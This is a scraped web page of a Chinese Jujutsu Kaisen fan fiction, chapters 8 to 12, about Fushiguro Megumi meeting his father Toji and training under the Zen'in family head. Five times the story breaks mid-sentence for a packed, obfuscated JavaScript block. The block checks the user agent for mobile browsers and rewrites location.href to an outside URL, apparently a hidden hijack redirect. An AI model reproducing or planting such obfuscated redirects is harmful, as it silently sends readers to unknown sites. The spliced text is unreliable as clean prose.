35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030443|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 如果五条先生能在五条家做这些事,也没必要来找他和津美纪一起了。 伏黑惠突然想到自己似乎是第一次想象五条悟在五条家的生活。 五条先生会跟他们一起在枫树林里野餐,会带着他们在湖上坐船,会跟他们一起钓鱼,会在钓鱼的时候睡着…… 伏黑惠回到自己在禅院家的房间里,听着窗外的鸟鸣闭上双眼,倒在榻榻米上休息一会儿。 如果没有睡着的话,五条先生多数时候没什么等鱼上钩的耐心,把鱼竿摆好不到十分钟就会开始骚扰他和津美纪,不仅自己钓不到鱼,还把他和津美纪的鱼吓跑了。 原本说好的野外烤鱼也就此泡汤,毕竟他和津美纪不想看到五条先生跳进湖里捉鱼这种事发生,用「苍」来炸鱼也不可以!!! “我知道我知道,不可以吓到津美纪嘛~”五条悟像只撒娇的大猫一样‘喵喵喵’地说,眼巴巴地看着伏黑惠,“要不然惠让「玉犬」抓鱼吧。” 伏黑惠拒绝道:“用「玉犬」也不可以,上次就差点让津美纪怀疑了。” 五条悟抱怨道:“惠好冷酷,哭哭~那让人买烤鱼送过来。” “请别总是麻烦伊地知先生。”伏黑惠叹了口气,“津美纪做了便当。” “好耶!”五条悟欢快地表扬道,“津美纪好棒!” 伏黑惠无情吐槽道:“因为您每次说要烤鱼,但从来没钓到过鱼。” 五条悟不服气地说:“明明就有!” 伏黑惠眼也不抬地打了回去:“用术式作弊不算。” “惠好过分!”五条悟朝着伏黑惠发起突然袭击,惹得小孩炸毛:“您干什么?!” 那么活泼的五条先生被封印如同一个让人无法相信又不得不信的消息。 伏黑惠想,他身边的人总是会离开,从没见过面的母亲、不负责任的父亲、津美纪的妈妈……现在又是五条先生。无论是自愿还是被迫,他从来都留不住任何人。 只有每天晚上津美纪报平安的信息能给他一点慰藉,让他知道他还不是孤身一人。 “小鬼,要不要跟我走?” 8. 第 8 章 “你是谁?” 伏黑惠猛然抬起头,朝着声音来源的方向看去。 窗外,一个肌肉健硕的男人站在围墙上,脚下踩着墙头,居高临下地看着伏黑惠。 他穿着一身跟禅院家其他人不同的黑色T恤和普通长裤,脸上的表情十分复杂。 “你不认识我?”那个男人歪了下头,不知道为什么给伏黑惠一股奇奇怪怪的违和感,“小鬼,你姓什么?” “伏黑。”伏黑惠眉头紧皱,“你是禅院家的人吗?” “不是。”伏黑甚尔看着伏黑惠显眼的炸毛发型,知道自己应该找对人了,“你是伏黑惠吧?” “是,但我不认识你。”伏黑惠已经偷偷叫出了「玉犬」。 禅院直毘人的训练很有用,最起码伏黑惠现在知道跟咒术师打架是需要召唤式神的。 伏黑甚尔有点烦躁地问:“啧,那老头没跟你说过我?” “你跟禅院先生很熟?”伏黑惠下意识扫了一眼禅院直毘人住的主屋,里面很安静,看不到人影。 “那老头不在,我刚把他儿子打了。”男人已经不知道什么时候从墙头跳了下来,稳稳落到伏黑惠面前。 两人之间只隔了一扇窗户。 伏黑惠本能地退了一步,防备地看着这个陌生的男人。 “小鬼,你要不要跟我走?”伏黑甚尔打量着伏黑惠,原来长大了是这样,跟小时候……啧,小时候长什么样记不清了。 不过这张脸长得也太像他了,伏黑甚尔有点嫌弃地看着伏黑惠的脸,只有支棱着的头发像他母亲。 “我为什么要跟你走?”伏黑惠只觉得这个男人莫名其妙。 伏黑甚尔奇怪地问:“小鬼,你不姓禅院为什么要留下?” 伏黑惠条理分明地说:“首先,我不是小鬼。其次,我做什么与你无关。” 这是伏黑惠上了高中之后成熟了,如果国中叛逆期的时候,两个人高低要打一架。 伏黑甚尔说:“我是你老子。” 伏黑惠恼火地看着他:“你……” 他真的要动手打人了! 就在这时,一声暴喝从院门处传来:“禅院甚尔!” “我早就不姓禅院了,老头!”伏黑甚尔转头看向禅院直毘人,“你怎么这么快就回来了?” “废话,我还不知道你回来是干什么的?!”禅院直毘人大步流星地走过来,跟伏黑甚尔在伏黑惠窗前对峙,“当初可是你把惠君给我的!” 所以这个人真的是他父亲。 从禅院直毘人话中捕捉到这个信息的伏黑惠大脑一片空白。 他的……父亲…… 陌生至极的称呼让伏黑惠心里乱糟糟的,父亲在他心中跟陌生人没有区别,他早就当自己没有父亲。 现在伏黑甚尔突然蹦出来,伏黑惠除了茫然之外没有其他情绪。 禅院直毘人气势汹汹地问伏黑甚尔:“你怎么找过来的?” 伏黑甚尔说:“之前跟他在一起的那个女孩说他被禅院家带走了,他姐姐。”应该是姐姐吧? “你去见了津美纪?!”伏黑惠又惊又怒。伏黑津美纪是他唯一的软肋,要保护津美纪,不能让任何人伤害姐姐。 自从伏黑津美纪跟同学们一起去了一趟八十八桥探险,结果却被咒灵盯上后,伏黑惠的叛逆期就悄然结束,把揍不良少年的精力拿出来袚除学校和其他津美纪常去的地方的咒灵。 “啊,原来叫这个名字吗?”伏黑甚尔不以为意地说,“她跟朋友说,惠被禅院家带走了。” 他记得自己儿子好像是叫‘惠’,又是被禅院家接走,那就没错了。 伏黑惠怀疑又戒备地看着他:“你为什么要去找津美纪?!” 伏黑甚尔理直气壮地说:“要不是这老头告诉我他不知道你在哪儿,我也不用找孔时雨让他打听。” 他嫌弃地看了一眼禅院直毘人:“早知道不救你了!” 伏黑甚尔恢复神智的时候就看到涉谷已经乱成了一锅粥,有个男的大声喊着“五条老师被封印了”。 他想起自己临死前交给五条悟的儿子,虽然已经想不起他长什么样了,但还是决定去看看他。 然后伏黑甚尔在涉谷乱转的时候就看到了禅院直毘人,于是把他从特级咒灵手里捞出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040152|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问他儿子在哪儿。 禅院直毘人认出了伏黑甚尔,说他不知道伏黑惠在哪儿,只知道对方被五条悟藏起来了,没上京都校也没上东京校也不再五条家。 伏黑甚尔听着都以为自己儿子是不是被五条悟灭口了。 禅院直毘人一问三不知,伏黑甚尔离开涉谷之后跑去找了老熟人孔时雨,让这个情报贩子打听他儿子的下落。 虽然伏黑甚尔自己不记得儿子叫什么,但是孔时雨是情报贩子,记性很好,他还记得伏黑甚尔提过一次他儿子叫惠。 有重新跟伏黑甚尔合作的胡萝卜在前面吊着,很快就打听出伏黑惠的住处,但伏黑甚尔来晚一步。 孔时雨又紧锣密鼓地从避难登记簿上找到了伏黑津美纪的名字,伏黑甚尔跟了津美纪两天,听到她说弟弟被禅院家带走了。 禅院直毘人振振有词地说:“我当时可没说谎,我的确不知道惠君那时候在哪儿,五条悟把人藏得可紧了。” 伏黑甚尔懒得理他,看向伏黑惠:“小鬼,你要不要跟我走?禅院家的人拦不住我。” 伏黑惠原本想直接拒绝,听到这句话灵光一闪又咽了回去,问:“你很强吗?” 伏黑甚尔意外地问:“五条悟没跟你说过我们是怎么认识的?” 伏黑惠轻描淡写地说:“五条先生提到过,我没听。” 伏黑甚尔撇撇嘴:“能把十六岁的他打得落花流水那么强。” 禅院直毘人说着风凉话:“然后被觉醒「反转术式」的五条悟反杀,成了最强的垫脚石。” 伏黑甚尔冷笑着说:“反正打你们不是问题!”他看向伏黑惠,“走不走?” “我不会走的。”伏黑惠刚才已经从禅院直毘人和伏黑甚尔的交谈中知道了他这个父亲的职业,“但我想雇你去保护津美纪。” 伏黑甚尔愣了一下,打量着伏黑惠:“小鬼,我很贵的,你有钱吗?” 伏黑惠听到他这么问反而松了口气,心头原本吊着的石头沉甸甸地砸进胃里,有点疼,但很快就会被消化掉了。 他点点头:“有,你要多少?” 明码标价,挺好的。 9. 第 9 章 伏黑甚尔离开后,伏黑惠对禅院直毘人颔首示意,关上了窗户。 禅院直毘人看了一眼墙头,溜溜达达地回了自己的主房,打开了另一边的窗户。 “进来吧,他看不见了。”禅院直毘人翻出杯子,给伏黑甚尔也倒了杯酒,“你现在能吃东西吗?” 伏黑甚尔从另一边墙头翻进来,大摇大摆地坐到禅院直毘人对面:“怎么不能吃?我都已经死了还怕什么?” “天与咒缚的身体真是了不得。”禅院直毘人观察着伏黑甚尔,对方用的虽然是别人的身体,但看着跟自己死而复生没有区别。 “嘁!”伏黑甚尔只认为禅院直毘人在说风凉话,禅院家什么时候看得起天与咒缚了。 禅院直毘人感慨地说:“扇也生了一个天与咒缚,叫真希,很有志气,跟我说将来要争一争禅院家主的位置。” 伏黑甚尔意兴阑珊地说:“跟我有什么关系?” 禅院直毘人看他半点不关心,也换了个话题:“不告诉惠,直哉是为什么挨揍的?” 他听仆从说了禅院直哉那会儿嘴欠在骂伏黑惠。 伏黑惠人住在禅院直毘人的院子里,除了每天和禅院直毘人一起训练之外,自己天天耗在房间里研究典籍,等闲不出门。 禅院直哉想堵他都找不到人,也不敢在禅院直毘人的眼皮底下针对他看好的继承人,只好在自己院子里骂人泄恨。 伏黑甚尔八成是满院子找伏黑惠的时候听见了,就下去把人打了一顿,顺便问出伏黑惠住哪儿。 “他不是一直都这样?”伏黑甚尔幸灾乐祸地说,“老头,你后继无人啊!” “现在不是了。”禅院直毘人美滋滋地喝酒,剥毛豆。 伏黑惠的天赋很好。虽然战斗经验不足,但是每次跟他提到过的错误都不会犯第二次,是用脑子战斗的,进步飞快。 按照这个速度,伏黑惠很快就能稳住二级。二级咒术师就能单独执行任务了,到时候咒术评级完,就能让伏黑惠出门历练了。 东京现在成了非人魔境,伏黑惠就让他先在京都附近打转,遇到危险也来得及赶到。 距离京都校再开学还有一个多月,正好能让伏黑惠适应咒术界的生活,等开学直接去京都校上学。 虽然直接上第三学期有点奇怪,但咒术师其实也不太在意这个。要是等新学年,那就得再过半年,也不是不行——这个看伏黑惠自己的进度调整。 禅院直毘人算盘打得噼里啪啦响,又看着伏黑甚尔。他不可能一天到晚跟着伏黑惠,最好还是有个人托底,他好不容易找回来一个好苗子,不能折在咒灵手里。 禅院直毘人问:“你真要去保护那个女孩?” 伏黑甚尔坦荡地说:“他给钱了。” 禅院直毘人也有点无语:“亲儿子的钱你也要。” “亲父子明算账。”伏黑甚尔抢了禅院直毘人的毛豆,又给自己倒了杯酒,“他给钱我干嘛不要?” 他自己都不想活了,当初还记得给伏黑惠找了两个下家,已经够对得起他了。现在就当是他给中介费了。 禅院直毘人暗示道:“现在想重操旧业可没那么容易。” 伏黑甚尔二话没说就顶了回去:“别痴心妄想了,老头,我是不会再和禅院家扯上关系的。” 禅院直毘人说:“等惠继承了禅院家,你不想也没用。” “嘁!”伏黑甚尔嗤笑一声,“我现在都不知道能保持神智多久,小心我留下大开杀戒。” 禅院直毘人看他打定了主意,也不再劝。原本以为有伏黑惠在,多多少少能让他这个侄子有点牵挂,现在看来还是差点。 算了。禅院直毘人也不强求,咒术师的生死聚散如同柳絮,不知什么时候风一吹就散了。 禅院直毘人取笑地说:“喝酒吧,喝完就走,别耽误你给儿子干活。” “只要给钱,给谁干活不是干?”伏黑甚尔不在乎这个。 他这个人跟亲情没缘分。要不是伏黑惠跟他长得太像,见面了他都认不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049759|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是自己儿子。 “对了,”伏黑甚尔突然想起来,“他哪儿来的那么多钱?你给的?” “不是,我没给过,给钱他跑了怎么办?”禅院直毘人煞有其事地说。他想想伏黑惠掏出来的那张卡,了然地说:“应该是五条悟给的。” 伏黑甚尔“啧”了一声,后悔地说:“早知道多要点了。” 伏黑惠的房间里,他抱着「玉犬」,又一次失眠了。 一黑一白两只「玉犬」趴在他左右两边,给主人提供一点温暖的慰藉。 伏黑惠有一下没一下地抚摸着「玉犬」的背脊,这是他放松心情的方式。 他的脑海中回响着伏黑甚尔的话‘能把十六岁的他打得落花流水’,十六岁…… 他从来没想过十六岁的五条悟是什么样子,好像五条悟一直都是那么高大那么强壮,如同一座不可逾越的山峰,给他和姐姐提供庇护。 对于伏黑惠来说,想象十六岁的五条悟比想象在五条家生活的五条悟更难。 虽然五条悟跟伏黑惠初见时也只有十九岁,但对于只有六七岁的姐弟俩,他已经足够大了,是能够担负起姐弟两个生活的大人了。 至于伏黑甚尔说的‘把五条悟打得落花流水’更是伏黑惠想都没想过的事。 那个五条先生也会有这种时候吗?伏黑惠理智上知道五条先生不可能一出生就这么强,但想到五条悟教他格斗的时候被逗着玩一样戏弄的自己,很难想象他会有被人打得落花流水的时候。 他想问五条悟这件事是不是真的,想问五条悟当初和他父亲之间发生了什么,想问五条悟既然和他父亲关系那么差劲为什么要资助他…… 伏黑惠看着手机屏幕上那个他每次看完津美纪的消息后都要看一眼的联系人名字。 ——五条先生 你不是说只有要需要你就会出现吗? 你不是说我想听父亲的事再问你吗? 你不是说你是最强的,没人能伤到你吗? 骗子。 10. 第 10 章 伏黑甚尔离开之后,禅院直毘人照样按照以往的作息训练伏黑惠。 他看着一如既往的伏黑惠:“没什么要问的?” 伏黑惠困惑地看了他一眼,一板一眼地说:“没有。” 禅院直毘人很欣赏伏黑惠这种精神,于是今天训练的时候更严苛了几分,把伏黑惠打得浑身是伤。 “不用担心明天的训练。”禅院直毘人看着躺在地板上喘气的伏黑惠,说,“一会儿会有人来给你治疗的。” 伏黑惠勉强点了点头,感觉身上的每一根骨头都在痛。 他也能感觉到自己的进步,不够今天跟禅院直毘人交手的经历告诉他,他的进步还远远不够。 训练室的推拉门外传来禅院管家的声音:“老爷,乙骨忧太拜访。” “带他过来吧,时间正好。”禅院直毘人看着遍体鳞伤的伏黑惠,高兴地说,“乙骨忧太是来找你的,他会「反转术式」。” 伏黑惠无语地看了他一眼,因为有会反转术式的人,所以今天就不用收手了,只要打不死就行————是这个意思吗? 就算已经相处了一周,伏黑惠还是理解不了咒术界的脑回路。 其实乙骨忧太也理解不了。 他被禅院家的管家带到训练室门外,打开门看到体无完肤的伏黑惠,第一反应就是,这是禅院家的下马威,用五条老师的孩子的安危来威胁他们。 禅院直毘人率先开口道:“正好!乙骨你来了,帮惠君治疗一下吧,免得耽误明天的训练。” 伏黑惠尴尬地努力坐起身,不管是什么原因,躺着见客人都太不礼貌了。 “伏黑君先别动!”乙骨忧太原本还没反应过来,一看伏黑惠的动作立刻回神,连忙过去,半跪在地面上发动「反转术式」给他治疗。 “不好意思,乙骨先生,麻烦你了。”伏黑惠尴尬得脸都红了,幸好现在满脸是血看不见。 乙骨忧太看着伏黑惠红得透明的耳朵,不好意思调侃这位容易害羞的学弟,友善地说:“伏黑君不需要对我用尊称,我只是个高专二年级的学生而已。” 太好了,伏黑君身上大部分都是皮外伤,只是看着严重,禅院家主下手还算有分寸——最重要的是,伏黑君还挺有精神的。 乙骨忧太脸色稍霁,看向禅院直毘人:“禅院先生,多谢您的消息,夜蛾校长平安无事。” 禅院直毘人摆了摆手,示意不必客气。 “……乙骨前辈。”伏黑惠选择了和禅院真希相同的称呼。 “伏黑君。”乙骨忧太礼貌地回应道,“你现在感觉怎么样?” 伏黑惠微微一怔,低头看了看自己身上已经好了的伤口,露出讶异的神情。 乙骨忧太会心一笑:“咒术真是奇妙吧!” “嗯。”伏黑惠点点头,对自己下一个要调伏的咒灵已经有了思路。 乙骨忧太看着伏黑惠对受伤已经习以为常的样子,脸色难看地说:“抱歉,伏黑君,我应该早点过来的。” “乙骨君能这么快就说服五条家的人已经很了不起了。”禅院直毘人说,“惠君,你将来继承了我的位置后就能跟乙骨君平起平坐了。” 乙骨忧太否认道:“我只是暂且代理五条家主的位置,等五条老师回来后,自然还是老师做主。” 他看着伏黑惠,认真地说:“伏黑君现在不用担心高层没有人为五条老师说话了。” 想要跟禅院直毘人抗衡,只有自己坐到跟他平等的位置上。 原本乙骨忧太没想过担任五条家主,他虽然勉强算是五条血脉,但一个甚至不姓五条的远房亲戚…… 然而,家入老师说得对,五条家的其他任何一个人做了家主都不会为了已经被封印五条老师去跟现任的禅院家主抢人。 禅院真希见过伏黑惠回来之后,又带回了高层要处刑夜蛾校长的消息。 东京校剩下的人商量了一下,认为伏黑惠的顾虑有道理,高层还是得有自己人。 乙骨忧太不忍地说:“伏黑君要是想要学习咒术可以去东京校,禅院先生教导咒术的方式未免有些拔苗助长了。” “咒术师没有拔苗助长的说法。”禅院直毘人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17056928|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懒洋洋地说,“一次次从死亡的威胁中赢得胜利,这才是最快的进步方法。” 禅院家平时教咒术当然也不是这么教的,但伏黑惠想要用最快的方法进步,那就是实战,不停地实战,一次次死里逃生将原石打磨出绚丽的色彩。 乙骨忧太不赞同地皱起眉,提醒伏黑惠:“伏黑君,五条老师以前应该不是这样教你的吧?” “五条悟要是教过他,我现在也不用这么费心了。”禅院直毘人装模作样地说,“可怜我这一把老骨头,还得每天陪年轻人打架。” 乙骨忧太有点茫然,禅院直毘人的回答在他意料之外,让人措手不及。 啊,这,五条老师以前没教过伏黑君咒术吗? 伏黑惠在心里叹了口气,已经习惯别人知道他没学过咒术时的反应了。 他犀利地问:“前辈们找到五条先生了吗?” 乙骨忧太苦恼地说:“五条家这边的消息是,羂索前几天出现在加茂家,通过加茂家对总监会施加影响……” 伏黑惠敏锐地说:“所以,禅院家必须站在五条家这边,才能在总监会压制羂索。” 乙骨忧太意识到伏黑惠的意思,反对地说:“就算没有高层的允许也无妨,我们照样可以。” 伏黑惠冷静地分析道:“但是高层下达不利的命令会耽误前辈们找到五条先生。” 乙骨忧太左右为难,犹豫了很久后才点了点头:“伏黑君真是敏锐,不愧是五条老师的孩子。” 伏黑惠看着乙骨忧太为难的表情:“抱歉?” “不不不,是我要道歉!”乙骨忧太疯狂摆手,内疚地说,“五条老师被封印的时候我在国外,什么忙都没能帮上……” “您现在能够赶回来已经是很大的帮助了。”伏黑惠诚恳地道谢,“谢谢您为五条先生做了这么多。” “我们大家都会为了五条老师而战的。”乙骨忧太努力邀请道,“伏黑君要不要跟我们一起?” “我现在去只会拖后腿而已。”伏黑惠看向禅院直毘人,两人目光相接,“我会努力成长起来的。” 11. 第 11 章 东京校内,夜蛾正道被乙骨忧太利用五条家的权力救下后,众人就暂时留在了学校里,免得高层出尔反尔。 众人看着独自一人回来的乙骨忧太,围了上去,七嘴八舌地问:“怎么回事?禅院为难你了?他们不让你把伏黑带回来?!” 乙骨忧太叹了口气,苦笑着说:“禅院先生的确不同意……” 钉崎野蔷薇怂恿道:“乙骨学长你都是五条家主了还怕什么?直接跟他抢!” 乙骨忧太补充道:“但是惠君也不同意。” Panda担心地问:“为什么?” 他们因为禅院直毘人的消息及时救下了夜蛾正道,Panda对伏黑惠总有一种用悟的孩子换了情报的愧疚感。 乙骨忧太已经被伏黑惠说服了,但还是很内疚自己没能把伏黑惠带回来:“惠君认为他的实力还帮不上我们的忙……” “他是不是觉得自己留在禅院家更好?”禅院真希直白地问。 乙骨忧太无奈地点了点头,苦笑着说:“我不小心让惠君知道羂索掌控了加茂家,惠君说只有他留下来,才能让禅院家站在五条家这边。” 乙骨忧太其实无法掌控五条家,这次能获得代理家主的位置都是他扛着刀过去据理力争的。 家入硝子接到伏黑惠的电话后,知道禅院家不会轻易放人,只有乙骨忧太有实力把伏黑惠从禅院家带出来。 但等到禅院真希去打过前站,还带回了夜蛾正道被处死的命令和伏黑惠不愿意离开的消息后,东京校众人按照轻重缓急先救了夜蛾正道,然后讨论了有关高层的问题。 乙骨忧太决定借助五条家的力量,既从高层那边得到消息,又能把五条老师的孩子从禅院家带出来,一举两得。 但他回到咒术界只有一年,在这之前连五条家的门都没进过,其实能得到这个位置基本都是靠那一点点五条血脉和特级咒术师的名号。 “我知道了。”家入硝子吐了个烟圈,叹息道,“五条说过,惠君是个倔强的小孩。” 乙骨忧太担心地说:“家入老师,禅院家对惠君的训练很严苛,我今天过去的时候,看到惠君全身都是伤,躺在地上。” 家入硝子想了想,眼中划过一抹了然,说:“禅院直毘人应该不会那么短视,大概是知道你会过去,所以才下重手了吧。放心,惠君也有我的联系方式,我也会关注他的。” 钉崎野蔷薇问:“那我们就这么把他扔在陈院家不管了?” 乙骨忧太自责地说:“要是我能够更强一点,像五条老师那样,惠君就不用留在禅院家了。” “你也别太担心了,老头很看重他,最起码他在禅院家应该还挺安全的。等悟出来,让他自己去抢人吧。”禅院真希说,“真依已经答应帮忙了,她会帮我们关注惠的。” 其实不需要禅院真希说,禅院真依也会去看看这位禅院家新的继承人的,看完之后还会以嘲讽真希为名发送点伏黑惠的情报过去。 但因为这次是禅院真希先为了伏黑惠特意回家,禅院真依反倒等了好几天都没回去,直到收到了禅院真希的消息。 【悟的养子比直哉那混蛋强多了!——真希】 “哼!”禅院真依看着禅院真希的消息,发出了一声冷哼,表面上一副不屑的样子,心里倒是微微松了口气。 既然真希这么说,那应该不用太担心直毘人伯父去世后的事了。 【只是个连咒术评级都没有的新人罢了,我倒要看看他有多厉害!——真依】 禅院真希看到妹妹的回信就知道,如果伏黑惠那边出了什么事,真依肯定会告诉她的——虽然是用嘲讽的语气。 夜蛾正道说:“咒术师不是能够闭门造车的职业,你们以后会有机会见面的。” 乙骨忧太看向坐在角落里的学弟,关心地问:“虎杖怎么样了?” “还是一直在自闭。”Panda满怀怜惜地说,“涉谷发生的事对虎杖的打击太大了,宿傩领域200米范围内的人全都死了。” 钉崎野蔷薇恼火地说:“明明不是他的错,骂都骂不醒!” “但是他自己不是这么想。”Panda叹了口气,“当初是悟把他从高层手里保下来的,现在高层又……他觉得对不起悟。” 乙骨忧太感同身受地说:“要是我当时也在就好了……” 钉崎野蔷薇不甘心地嘟囔道:“我当时倒是在,也什么忙都没帮上。要不是那个奇奇怪怪的男人突然窜出来解决了漏瑚,说不定已经死了。” 结果活是活下来了,暴击一个接着一个,最令人惊讶的消息不是五条悟被封印了,而是:“五条老师突然就冒出一个十五岁大的儿子!他之前连提都没提过!” 钉崎野蔷薇吐槽道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068329|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乙骨忧太忍不住点头赞同。 禅院真希说:“惠的身份是个秘密,我也是很小的时候看到过他一眼。现在想想那次应该就是悟带他来跟禅院家断绝关系。” Panda无辜地说:“我也只是听正道和悟聊天的时候说到过一点点。” 钉崎野蔷薇不好意思地说:“真希姐、Panda学长,我也没有怪你们瞒着的意思啊!看现在的情况就知道,做那家伙的儿子有够麻烦的!”她好奇地问:“那个伏黑是什么样的人啊?也像五条老师那样难搞吗?” 乙骨忧太虽然只跟伏黑惠相处了几个小时,但是已经对他很有好感了:“惠君很稳重,聪明又敏锐,训练的时候很努力,现在已经看不出来是初学者了。” 他委婉地说:“就是太努力了,感觉似乎不太在乎自己的伤。” “固执得要命的笨蛋一个,不如说感觉上跟悟正好相反吧。”禅院真希推己及人地感慨道,“要是悟出来之后知道了他这么委屈自己,还不知道要怎么生气!” 易地而处,如果真依为了救她回了禅院家,被那群人渣欺负,她肯定要气死了! “对了,惠君还问了我一个问题。”乙骨忧太面对着众人的目光,说,“他问除了我们之外,五条老师的事还有没有人能帮上忙,花钱雇佣的那种也可以。我把冥冥小姐的名片推给他了。” 伏黑惠坐在自己在禅院家的房间里,回忆着他跟乙骨忧太的谈话。 禅院直毘人没有全程陪在他们身边盯着两个人聊天,听到伏黑惠不会跟着乙骨忧太走后就离开了。 伏黑惠从乙骨忧太口中听到了一个在学生眼中的五条悟,任性妄为不靠谱,但是很有担当——五条先生对学生们都很好。 同时,他也对五条悟在咒术界的地位有了全新的认知。 “多亏了五条老师,我才能从高层手中活下来,成为现在的我。”乙骨忧太把曾经的往事娓娓道来。他说这么多是想让伏黑惠放心,他们一定不会放弃营救五条老师。 伏黑惠认认真真地听着乙骨忧太口中那个五条悟,没有半点陌生感。 五条先生的确就是这样的人,就像他当初帮助他和津美纪一样。 乙骨忧太离开后,伏黑惠看着窗外的飞檐,想起禅院直毘人说‘他想要改变高层,想要把自己的理念散布到整个咒术界’,五条先生的理念是什么呢? 12. 第 12 章 伏黑惠似乎尝到了「反转术式」的甜头,在乙骨忧太走后没过多长时间就调伏了新的式神——「圆鹿」。 当禅院直毘人看到大眼睛长睫毛的可爱小鹿出现在自己眼前的时候,已经习惯了伏黑惠的式神风格。 他在心理安慰自己,式神只要能力够就行了,外貌不是重点。 伏黑惠抚摸着「圆鹿」的脑袋,小鹿迈开四肢小蹄子,围着伏黑惠撒欢。 禅院直毘人端着酒葫芦喝着酒,看着小鹿在屋里绕了几圈,又跑到院子里的草坪上跑了跑,还低头吃草。 嗯,式神,吃草。 他看向伏黑惠。他的侄孙正一脸溺爱地看着在院子里撒欢的小鹿。禅院直毘人把目光转回来。 既然式神使不觉得有问题,那就是没问题吧。 禅院直毘人还有点常识:“要是草坪被啃坏了,记得让管家补上。” 伏黑惠比他的常识更多一些:“「圆鹿」只是好奇尝尝,清理的时候小心一点,多浇水施肥就可以了。” “施肥……”禅院直毘人一言难尽地看着他,这可是家里的草坪,施肥味道多难闻啊! 伏黑惠也沉默了片刻,转而说:“她只是尝尝,不会破坏很多的。” “那就放着吧,反正草这种东西长得快。”禅院直毘人停顿了一下,“所以,这次是她?” 原来式神还有性别吗? 伏黑惠肯定地点点头。 行吧,式神使说了算。 禅院直毘人挠了挠胸膛,漫不经心地说:“直哉找你麻烦了?” “嗯。”伏黑惠应了一声,“他很强,是我输了。” 禅院直毘人并不意外:“直哉比你大了十二岁,你学习咒术又晚,现在没他强很正常。” 伏黑惠本来也没放在心上。他很清楚自己的实力,输给禅院直哉也不是什么不能接受的事实。 不如说他现在压根没什么强弱概念,他刚学咒术打不过谁都正常。 他更在意的是禅院直哉说的话,‘只有悟和甚尔那样的人才能相互理解!’是这样吗? 伏黑惠想想五条悟,又想想只见过一面后就消失只在转账记录里存在感强大的亲生父亲,完全不觉得两个人有什么能‘互相理解’的相似之处——除非有时候都不靠谱也能算上。 伏黑惠好奇地问:“禅院先生,五条先生小时候是什么样子?” 他从没想象过幼年时的五条悟,就像在孩子眼中家长似乎没有童年。伏黑惠和五条悟的年龄差没到那个地步,但伏黑惠也没有问过五条悟小时候的事。 现在想起来,五条悟自己也从来都没有提过童年。五条悟提到的回忆都是他在咒术高专的同学和朋友,偶尔提到五条家也是抱怨家里食古不化的老头子。伏黑惠和津美纪都是默认他和家里关系不好。 这次五条悟出事,五条家还得靠着禅院家才能帮五条悟仿佛也证明了这一点。 禅院直毘人摸了摸胡子:“悟小时候的情况我不太清楚,他进入东京校的时候就已经是特级了。” 伏黑惠奇怪地问:“禅院家和五条家不是很熟吗?” 他现在在禅院直毘人的补课下也算是对御三家有点了解了,知道他们其实明面上还是很熟悉的。 之前五条家还有个什么聚会邀请了伏黑惠,但伏黑惠对五条家的其他人不感兴趣,所以禅院直毘人直接替他推了。 这都什么时候了还有心情聚会,一看就是醉翁之意不在酒,禅院直毘人也担心伏黑惠再被五条家笼络过去,在伏黑惠拒绝之后高兴了一阵子。 现在伏黑惠又问到五条悟,知道他对五条家没好感的禅院直毘人也不在意了,直接实话实说:“悟可是五条家的宝贝,轻易不会让他出来见人的。” “两家关系这么差吗?”伏黑惠从禅院直毘人口中知道两家关系不好是死对头,但还没有什么概念。 禅院直毘人说:“不止是因为这个,悟小时候很危险,想杀他的人很多。” 